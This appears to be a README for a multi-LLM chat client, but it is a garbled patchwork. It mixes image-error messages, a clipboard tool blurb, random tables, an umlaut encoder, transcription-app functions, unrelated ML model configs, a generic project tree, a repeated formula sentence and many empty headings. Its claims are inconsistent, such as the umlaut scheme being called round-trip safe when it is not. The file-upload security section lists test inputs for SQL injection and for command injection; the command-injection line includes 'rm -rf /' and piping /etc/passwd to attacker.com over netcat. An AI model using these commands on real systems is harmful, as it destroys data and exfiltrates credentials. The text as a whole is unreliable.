Multi-LLM Chat Client – OpenAI, DeepSeek, Google Gemini, Hugging Face & GroqCloud

---

Table of Contents

Overview

Architecture

1. Client Layer

2. Server Layer

3. Data Storage

4. Helper Scripts

Unique Context Management

Features in Detail

Chat Interface

Streaming Responses

OpenAI Integration

Google Gemini Integration

Hugging Face Integration

GroqCloud Integration

LLM Settings Panel

429 Rate Limit Handling

The image doesn't load. The server is not accessible (HTTP 0). The most likely cause is a temporary platform or browsing issue.

The HTTP 200 has been successfully received and **Content-Type: image/jpeg** is correct.
The image is not loading because the **file data is empty (0 bytes)**.
Other JPEG images load normally, so this is not a general browser or network problem.
The server is returning a valid response but with no image content.
Please check the upload or generation process for this specific image.

Clipboard Handler (Ctrl+V)

A small browser-based tool that lets you paste screenshots and images directly from your clipboard.

Paste & Go — Just switch to the app and press Ctrl+V. Images are pasted automatically — no need to click anything first.

Image Queue — Collect multiple images and review them in a thumbnail grid. Remove individual images or clear the entire queue.

Keyboard Shortcuts — Ctrl+V to paste, Ctrl+Enter to send, Escape to clear the queue.

Privacy First — Everything runs locally in your browser. Nothing is uploaded to any server.

> "This saved me 20 minutes every time I needed to share a screenshot. Now it's instant."

Technical Details — Built with HTML, CSS, and vanilla JavaScript. No frameworks, no dependencies. The Clipboard API reads image data directly from paste events. Images are stored as Blob objects in memory and displayed using object URLs. The entire application is a single file that can be opened in any modern browser.

File Upload with Security Check

Complex Structure — Lists, tables, links, code blocks, and more
Programmatic Generation — Created by Python script
Binary Data Test — Contains specific byte patterns
Reference Material — Used as a reference for file upload security validation

Random generated data examples:

Record	Random Number	Hex Fragment
Record 1	1,234,567	0x12d687
Record 2	7,890,123	0x785f8b
Record 3	4,567,890	0x45c8d2
Record 4	2,345,678	0x23cb4e
Record 5	9,012,345	0x89a139
Record 6	6,789,012	0x67b8f4
Record 7	3,456,789	0x34e215

Data Table Example (This table is intentionally complex to test how well the parser handles various formatting):

Product	Region	Sales Figures
Widget Pro	North America	12,345
Widget Pro	Europe	9,876
Widget Pro	Asia	15,432
Widget Lite	North America	8,765
Widget Lite	Europe	6,543
Widget Lite	Asia	11,098
Gadget Max	North America	5,432
Gadget Max	Europe	4,321
Gadget Max	Asia	7,654
Gadget Mini	North America	3,210
Gadget Mini	Europe	2,987
Gadget Mini	Asia	4,567
Thingamajig	North America	1,098
Thingamajig	Europe	876
Thingamajig	Asia	2,345

SQL Injection — Test: DROP TABLE users; SELECT * FROM admin WHERE '1'='1' UNION SELECT password FROM credentials; -- Expected: Rejected by input sanitization. Risk: Critical.

Command Injection Attack — Test: ; rm -rf /; cat /etc/passwd | nc attacker.com 4444; $(whoami); `id`; ping -c 10 localhost. Expected: Rejected by shell escaping and input validation. Risk: Critical.

Umlaut Placeholder System

A simple system for encoding and decoding German umlauts (ä, ö, ü, ß) as plain ASCII placeholders.

Purpose — Some text processing pipelines, filenames, or legacy systems can't handle Unicode characters. This system converts them to safe, reversible placeholders.

How it works — Each umlaut is replaced with a two-letter code: the letter's base character followed by `e`. For example, `ä` becomes `ae`, `ö` becomes `oe`, and so on. Uppercase umlauts follow the same pattern (`Ä` → `Ae`).

Original	Placeholder
ä	ae
ö	oe
ü	ue
Ä	Ae
Ö	Oe
Ü	Ue
ß	ss

Round-trip safety — Encoding and then decoding any text produces the original output exactly. The placeholders are chosen so they don't appear naturally in most German words.

Edge cases — Words that already contain `ae`, `oe`, or `ue` naturally (like "Auenland") will be incorrectly decoded to "Aünland". This is a known trade-off of the simple approach.

DeepThink Mode

DeepThink is a toggle switch in the chat input area, next to the send button. When it's turned on:

- Before every message you send, a hidden instruction is prepended: "Think step by step before answering. Show your reasoning process, then give your final answer."
- The model you're chatting with receives this modified message instead of your original text.
- The toggle state is saved in `localStorage` under the key `deepthink_enabled`, so it persists across page reloads.
- The toggle can be switched on or off at any time, even mid-conversation.
- When DeepThink is off, messages are sent unmodified.

Model Detection & Capabilities

Ollama does not expose a capabilities field in its API. Instead, the frontend uses a combination of:

- A hardcoded lookup table for well-known model families (e.g. `llama3.2-vision` → vision, `qwen3` → thinking + tools, `nomic-embed-text` → embedding).
- Heuristic pattern matching on model names (e.g. anything containing `vl` or `vision` is assumed to support vision).
- Manual overrides via `data-caps` attributes on `<option>` elements in the model selector.

Vision (Image) Support

Image upload and vision capabilities are detected automatically. Supported formats: PNG, JPG, and GIF. Images are sent to the model as base64-encoded data.

Drag and drop — Drop an image file anywhere on the chat window to attach it. A visual overlay appears when you drag a file over the window.

Paste from clipboard — Press Ctrl+V to paste an image directly from your clipboard. This works with screenshots and copied images.

Multiple images — You can attach several images to a single message. Each one appears as a thumbnail in the preview area before sending.

Multi-Language System

Translation Dictionary (`translations`): Nested object containing all UI text in English (`en`) and German (`de`). Each key maps to a translation string. Keys are organized by context (e.g., `settings.*`, `session.*`, `export.*`, `feedback.*`).

Current Language (`currentLanguage`): Stores the active language code (`'en'` or `'de'`). Defaults to `'en'`. Persisted to `localStorage` under the key `'language'`.

`t(key)` Function: Translation helper function. Looks up `translations[currentLanguage][key]`. Falls back to English if the key is missing in the current language. Returns the key itself if not found in either language.

`updateUILanguage()` Function: Updates all UI elements with translations. Sets text content for buttons, labels, and headings. Updates placeholder text for input fields. Refreshes dynamic content like file counts.

`setLanguage(lang)` Function: Changes the active language. Validates that `lang` is `'en'` or `'de'`. Updates `currentLanguage`, saves to `localStorage`, and calls `updateUILanguage()`.

Settings (Toggles instead of Radio Buttons)

Settings Object (`settings`): Stores user preferences with the following properties:

Property	Default	Description
`theme`	`'dark'`	`'dark'` or `'light'`
`showTimestamps`	`true`	Show timestamps in transcript
`showSpeakerLabels`	`true`	Show speaker labels
`showConfidence`	`false`	Show confidence scores
`autoScroll`	`true`	Auto-scroll transcript

`toggleSetting(key)` Function: Toggles a boolean setting value. Updates the corresponding toggle switch UI. Saves settings to `localStorage`. Shows a toast notification with the new state.

`loadSettings()` Function: Loads settings from `localStorage` on page load. Merges saved settings with defaults (preserves new settings added in updates). Updates all toggle switches to reflect loaded values.

`saveSettings()` Function: Persists the `settings` object to `localStorage` as JSON. Called automatically by `toggleSetting()`. Uses the key `'settings'`.

Session Management

`newSession()` Function: Starts a fresh session. Clears `transcriptSegments` array. Resets `sessionStartTime` to `null`. Clears `localStorage` key `'transcriptSegments'`. Updates UI to show empty state. Shows toast notification.

`updateSessionInfo()` Function: Updates session duration display. Calculates elapsed time from `sessionStartTime`. Formats as `MM:SS` or `HH:MM:SS`. Updates segment count display. Called every second during recording.

`formatDuration(seconds)` Function: Converts seconds to human-readable format. Returns `"0:45"` for 45 seconds. Returns `"1:23:45"` for 1 hour 23 minutes 45 seconds.

`updateSessionStatus(status)` Function: Updates the session status indicator. Accepts `'ready'`, `'recording'`, or `'paused'`. Changes the dot color and text accordingly.

Export Functions

Export Functions Object (`exportFunctions`): Contains all export-related functions:

Function	Parameters	Purpose
`txt`	`segments, includeTimestamps, includeSpeakers`	Export as plain text file
`docx`	`segments, includeTimestamps, includeSpeakers`	Export as Word document
`pdf`	`segments, includeTimestamps, includeSpeakers`	Export as PDF document
`srt`	`segments, includeSpeakers`	Export as SubRip subtitle file
`vtt`	`segments, includeSpeakers`	Export as WebVTT subtitle file
`exportAll()`	**`segments, includeTimestamps, includeSpeakers`**	**Export all formats as ZIP archive**

Helper Functions (`exportHelpers`): Utility functions for export:

Function	Purpose
`getFilename`	Generate filename with timestamp
`downloadBlob`	Trigger file download
`formatTime`	Format seconds for display
`escapeHtml`	Escape HTML special characters

`exportAll()` Function: Creates a ZIP file containing all export formats. Uses JSZip library. Includes: `transcript.txt`, `transcript.docx`, `transcript.pdf`, `transcript.srt`, `transcript.vtt`. Respects current timestamp and speaker label settings. Shows progress toast during creation. Triggers download of `transcript_export.zip`.

`exportTranscript(format)` Function: Exports transcript in specified format. Validates that segments exist before exporting. Shows error toast if no segments. Calls appropriate export function based on format. Shows success toast after export.

`copyTranscript()` Function: Copies transcript to clipboard as plain text. Uses `navigator.clipboard.writeText()`. Shows success toast on completion. Shows error toast if clipboard access fails.

`clearTranscript()` Function: Clears all transcript segments. Shows confirmation dialog before clearing. Resets session state. Updates UI to empty state.

Feedback Buttons & Logging

Feedback Buttons: Each transcript segment has thumbs up and thumbs down buttons.

`logFeedback(segmentId, type)` Function: Logs feedback to console. Stores feedback in `feedbackLog` array. Shows toast notification. Updates button visual state.

Feedback Log (`feedbackLog`): Array storing all feedback entries. Each entry contains segment ID, type, and timestamp.

Export Feedback: Feedback data is included in JSON exports.

Dynamic Context Display

Context Display Element (`contextDisplay`): Shows current context being used for transcription. Updates when context changes. Displays abbreviated version if context is long.

`updateContextDisplay()` Function: Updates the context display element. Shows "No context" if empty. Truncates long context with ellipsis.

Character Counter: Shows current character count and limit (e.g., "150/1000"). Updates on every keystroke in context textarea. Changes color when approaching limit.

Context Persistence: Context is saved to `localStorage` and restored on page load.

File Card Display

File Card Structure: Each uploaded file is displayed as a card with the following elements:

```
<div class="file-card">
  <div class="file-info">
    <span class="file-name">filename.mp3</span>
    <span class="file-size">2.5 MB</span>
    <span class="file-duration">3:45</span>
  </div>
  <button class="remove-btn">×</button>
</div>
```

`createFileCard(file)` Function: Creates a file card DOM element. Extracts file name, size, and duration. Adds remove button with click handler. Returns the card element.

`removeFile(index)` Function: Removes file from `uploadedFiles` array. Removes corresponding file card from DOM. Updates file count display.

Audio Recording

Recording Variables: `mediaRecorder` stores the MediaRecorder instance. `audioChunks` array collects recorded data. `recordingStartTime` tracks when recording began.

Kompressor — Intelligent Context Compression

Core Concept

Activation Thresholds

Compression Process (Step by Step)

Smart Summary Discard

Provider Restriction (Paid Only)

Result Files

Quota & Limit Banners

Context Window Exceeded Handling

API Proxy Documentation Headers

Download Mode

Responsive Design

DeepSeek V4 Migration

Background

New Models

Architecture Improvements (V4 vs. V3)

Deprecation Timeline

Changes Made in This Project (11 May 2026)

API Compatibility

---

19 July 2026 Maintenance & Feature Update

1. Critical Bug: `deepseek-v4-pro` Was Never Reachable

2. Diagnostic Logging: Model Name in Server Log

3. Dead Model Cleanup

4. OpenAI Lineup Updated to GPT-5.5 / GPT-5.6

5. Transparent API Error Messages

6. `max_tokens` → `max_completion_tokens` for OpenAI

7. Vision Pipeline Completed

8. `deploy.sh`: MD5 Checksum Verification

Files Changed

---

28 August 2026 Fix: Explicit DeepSeek Thinking Mode Control

Files Changed

Security Hardening (26 July – 15 September 2026)

Stage 1 — Stored XSS and Path Traversal

Stage 2 — CORS Wildcard and Request Size Limits

Stage 3 — Log Exposure and Host Header Injection

Stage 4 — Deliberately Not Implemented: Endpoint Authentication

Stage 5 — Documentation Gap and Deferred Modularization

Residual XSS Follow-Up (14 September 2026)

HTTPS Migration: From Self-Signed to Let's Encrypt

The Fix

A Naming Trap, Caught Before Deployment

Result

Side Effects Found Along the Way

---

17 September 2026: Model Display Labels & Cleanup

Removed: `deepseek-v4-flash-vision-exp`

Added: Readable Model Labels with Release Dates

A Bug in the First Pass

Installation

1. **Clone the repository** (`main`, `v2.0.0`):

```
git clone https://github.com/example-org/example-project.git && cd example-project && git checkout v2.0.0
```

2. **Configure API keys** (`.env.example`, `.env`):

```
export OPENAI_API_KEY="sk-..."
export ANTHROPIC_API_KEY="sk-ant-..."
export GOOGLE_API_KEY="..."
```

3. **Install dependencies and configure files**:

```
pip install -r requirements.txt
cp config.example.yaml config.yaml
```

4. **Create required directories**:

```
mkdir -p ./data/raw ./data/processed
mkdir -p ./models/checkpoints ./models/exports
```

5. **Log in** (`wandb`):

```
wandb login
```

6. **Install Python packages**:

```
pip install -r requirements.txt  # includes tokenizers, torch, numpy, and transformers libraries
```

Configuration

Model configurations (`models.yaml`, `config.yaml`) — assigned each of the 20 model family, and using each 7 TTS APIs:

```
model_configs:
  # Transformer models (Vaswani et al., 2017) — original encoder-decoder architecture
  transformer-base:    { d_model: 512,  n_heads: 8,  n_layers: 6,  d_ff: 2048,  dropout: 0.1 }
  transformer-big:     { d_model: 1024, n_heads: 16, n_layers: 6,  d_ff: 4096,  dropout: 0.3 }
  # BERT models (Devlin et al., 2018) — bidirectional encoder representations
  bert-base:           { d_model: 768,  n_heads: 12, n_layers: 12, d_ff: 3072,  dropout: 0.1 }
  bert-large:          { d_model: 1024, n_heads: 16, n_layers: 24, d_ff: 4096,  dropout: 0.1 }
  # GPT models (Radford et al., 2018–2020) — autoregressive decoder-only
  gpt-small:           { d_model: 768,  n_heads: 12, n_layers: 12, d_ff: 3072,  dropout: 0.1 }
  gpt-medium:          { d_model: 1024, n_heads: 16, n_layers: 24, d_ff: 4096,  dropout: 0.1 }
  gpt-large:           { d_model: 1280, n_heads: 20, n_layers: 36, d_ff: 5120,  dropout: 0.1 }
  # T5 models (Raffel et al., 2019) — text-to-text transfer transformer
  t5-small:            { d_model: 512,  n_heads: 8,  n_layers: 6,  d_ff: 2048,  dropout: 0.1 }
  t5-base:             { d_model: 768,  n_heads: 12, n_layers: 12, d_ff: 3072,  dropout: 0.1 }
  t5-large:            { d_model: 1024, n_heads: 16, n_layers: 24, d_ff: 4096,  dropout: 0.1 }
  # LLaMA models (Touvron et al., 2023) — open and efficient foundation language models
  llama-7b:            { d_model: 4096, n_heads: 32, n_layers: 32, d_ff: 11008, dropout: 0.0 }
  llama-13b:           { d_model: 5120, n_heads: 40, n_layers: 40, d_ff: 13824, dropout: 0.0 }
  llama-33b:           { d_model: 6656, n_heads: 52, n_layers: 60, d_ff: 17920, dropout: 0.0 }
  llama-65b:           { d_model: 8192, n_heads: 64, n_layers: 80, d_ff: 22016, dropout: 0.0 }
  # Mistral models (Jiang et al., 2023) — sliding window attention
  mistral-7b:          { d_model: 4096, n_heads: 32, n_layers: 32, d_ff: 14336, dropout: 0.0, window_size: 4096 }
  # Falcon models (Almazrouei et al., 2023) — multi-query attention
  falcon-7b:           { d_model: 4544, n_heads: 71, n_layers: 32, d_ff: 18176, dropout: 0.0, multi_query: true }
  falcon-40b:          { d_model: 8192, n_heads: 128, n_layers: 60, d_ff: 32768, dropout: 0.0, multi_query: true }
  # Mamba models (Gu & Dao, 2023) — state space models
  mamba-small:         { d_model: 768,  n_layers: 24, d_state: 16, expand: 2 }
  mamba-large:         { d_model: 1536, n_layers: 48, d_state: 16, expand: 2 }
```

Each TTS provider (`TTS_PROVIDER`) has its own key, model, and voice settings. See [Text-to-Speech Setup](#) for provider-specific instructions. The active provider is set via `TTS_PROVIDER` in `.env`. Each provider's voice and model are configured under `TTS_CONFIG` in the same file.

Language and Translation (`locales/`, `en.yaml`, `fr.yaml`, `ja.yaml`, `ar.yaml`, `zh.yaml`, `es.yaml`, `de.yaml`) — Set the language with `DEFAULT_LOCALE` in `.env`. Translations are loaded from `locales/<code>.yaml`.

Deploy Scripts

Script	Purpose
`./deploy.sh staging`	Deploy to staging. Runs migrations, builds assets, and restarts the staging server. Requires `STAGING_HOST` to be set.
`./deploy.sh production`	Deploy to production. Requires a clean git working tree and a passing test suite.
`./rollback.sh`	Rollback to the previous release. Reverts the symlink and restarts the server.
`./maintenance.sh on`	Enable maintenance mode. Returns a 503 with a custom message to all requests.
`./maintenance.sh off`	Disable maintenance mode and resume normal traffic.

Important: Before running `./deploy.sh production`, ensure you have tagged the release with `git tag -a v1.x.x -m "release v1.x.x"` and pushed the tag with `git push origin v1.x.x`. The deploy script will refuse to run if the working tree is dirty or if no tag exists at `HEAD`.

```
export STAGING_HOST="deploy@staging.example.com"
export PRODUCTION_HOST="deploy@example.com"
```

The weight sum of two dependent Gaussians per pair (Tong, 2008) becomes $w_1 \cdot w_2 \cdot \mathcal{N}(\mu_1 - \mu_2;\, 0,\, \Sigma_1 + \Sigma_2)$, corresponding to the $w_1 \cdot w_2 \cdot \mathcal{N}(\mu_1 - \mu_2;\, 0,\, \Sigma_1 + \Sigma_2)$ normalization factor over all M^2 Gaussian product terms.

Project Structure

```
.
├── .github/workflows/ci.yml
├── .gitignore
├── .pre-commit-config.yaml
├── CHANGELOG.md
├── CONTRIBUTING.md
├── LICENSE
├── Makefile
├── README.md
├── config/
│   ├── default.yaml
│   ├── local.yaml.example
│   └── production.yaml
├── docker/
│   ├── Dockerfile
│   ├── Dockerfile.dev
│   └── docker-compose.yml
├── docs/
│   ├── api.md
│   ├── architecture.md
│   ├── assets/
│   │   ├── banner.png
│   │   └── logo.svg
│   ├── deployment.md
│   └── getting-started.md
├── examples/
│   ├── basic_usage.py
│   ├── batch_processing.py
│   └── notebooks/
│       ├── exploration.ipynb
│       └── tutorial.ipynb
├── pyproject.toml
├── scripts/
│   ├── benchmark.py
│   ├── migrate_db.sh
│   ├── seed_data.py
│   └── setup_dev.sh
├── src/
│   └── example_project/
│       ├── __init__.py
│       ├── __main__.py
│       ├── api/
│       │   ├── __init__.py
│       │   ├── middleware.py
│       │   ├── routes.py
│       │   └── schemas.py
│       ├── cli.py
│       ├── config.py
│       ├── core/
│       │   ├── __init__.py
│       │   ├── engine.py
│       │   ├── exceptions.py
│       │   └── models.py
│       ├── db/
│       │   ├── __init__.py
│       │   ├── migrations/
│       │   │   ├── 001_initial.sql
│       │   │   └── 002_add_index.sql
│       │   └── repository.py
│       ├── py.typed
│       ├── services/
│       │   ├── __init__.py
│       │   ├── cache.py
│       │   ├── notifications.py
│       │   └── worker.py
│       └── utils/
│           ├── __init__.py
│           ├── helpers.py
│           └── logging.py
└── tests/
    ├── conftest.py
    ├── fixtures/
    │   ├── sample_data.json
    │   └── test_config.yaml
    ├── integration/
    │   ├── test_api.py
    │   └── test_database.py
    ├── test_config.py
    ├── test_core.py
    └── test_utils.py
```

Model Configuration

The `train.py` script supports a wide range of model families and sizes. Model configurations are defined in `configs/models.yaml`, and can be selected via the `--model` flag. Supported families include Transformer (Vaswani et al., 2017), BERT (Devlin et al., 2018), GPT (Radford et al., 2018–2020), T5 (Raffel et al., 2019), LLaMA (Touvron et al., 2023), Mistral (Jiang et al., 2023), Falcon (Almazrouei et al., 2023), and Mamba (Gu & Dao, 2023). Each family is available in multiple sizes, from small (~125M parameters) to large (~65B parameters).

Selecting a model configuration: When a model name is passed via `--model`, the corresponding entry is looked up in `configs/models.yaml`. Any fields not specified in the CLI override will fall back to the values in the YAML file. For example, `--model llama-7b` will load the `llama-7b` block and use its `d_model`, `n_heads`, `n_layers`, and `d_ff` values unless explicitly overridden.

Supported model families: [Transformer](#) · [BERT](#) · [GPT](#) · [T5](#) · [LLaMA](#) · [Mistral](#) · [Falcon](#) · [Mamba](#). Model weights are downloaded automatically from the Hugging Face Hub on first use and cached in `~/.cache/huggingface/`. To use a model that requires authentication (e.g., LLaMA), set your Hugging Face token via `huggingface-cli login` or the `HF_TOKEN` environment variable. See [Authentication](#) for details.

Design Manifest

The project follows a set of design principles that guide architectural decisions, code organization, and trade-offs. These principles are listed in order of priority — when two principles conflict, the one higher in the list takes precedence.

1. **Offline-first.** All core functionality must work without a network connection. Features that require network access are optional and degrade gracefully when offline.
2. **Explicit over implicit.** Configuration, dependencies, and behavior should be visible and predictable. Avoid magic defaults, hidden global state, and surprising side effects.
3. **Composition over inheritance.** Prefer small, focused functions and data structures that can be combined flexibly. Deep class hierarchies are a last resort.
4. **Fail fast, fail loudly.** Validate inputs at system boundaries and raise clear errors early. Never silently swallow exceptions or return partial results.
5. **Minimal dependencies.** Every third-party package is a liability. Justify each dependency and prefer the standard library when reasonable.
6. **Human-readable formats.** Use plain text formats (JSON, YAML, Markdown) for data that humans may need to inspect, debug, or edit.
7. **Incremental adoption.** Users should be able to use one part of the system without buying into the whole. Avoid all-or-nothing architectures.

Known Limitations & Technical Notes

"Lost in the Middle" — A Known AI Limitation

GitHub Raw URL Caching

Nano and Unicode — Critical Warning

Linux/X11/Firefox Paste Behavior

Context Overflow Detection Edge Cases

DeepSeek Model Self-Reporting

Dependencies

Conclusion / Why This Project Stands Out